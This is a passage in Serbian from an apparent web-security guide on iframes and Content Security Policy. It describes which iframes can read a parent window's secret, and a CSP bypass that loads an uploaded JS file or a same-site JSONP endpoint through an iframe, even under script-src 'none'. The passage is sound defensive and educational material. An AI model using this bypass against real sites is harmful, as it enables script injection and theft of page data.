Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će svi skriptovi biti izvršeni (jer nema CSP koji to sprečava). **Roditelj neće moći da pristupi `tajnom` varijabli unutar bilo kog iframe-a** i **samo iframe-ovi if2 & if3 (koji se smatraju istosajtnim) mogu pristupiti tajni** u originalnom prozoru.
Primetite kako se if4 smatra da ima `null` poreklo.

Vrednost `self` za `script-src` neće dozvoliti izvršavanje JS koda korišćenjem `data:` protokola ili atributa `srcdoc`.
Međutim, čak i vrednost `none` CSP-a će dozvoliti izvršavanje iframe-ova koji postavljaju URL (potpuni ili samo putanju) u atribut `src`.

Primetite kako **prethodni CSP dozvoljava samo izvršavanje inline skripte**.\
Međutim, **samo će se `if1` i `if2` skripte izvršiti, ali samo `if1` će moći da pristupi roditeljskoj tajni**.

Stoga je moguće **zaobići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može postići i zloupotrebom JSONP endpointa na istom sajtu**.
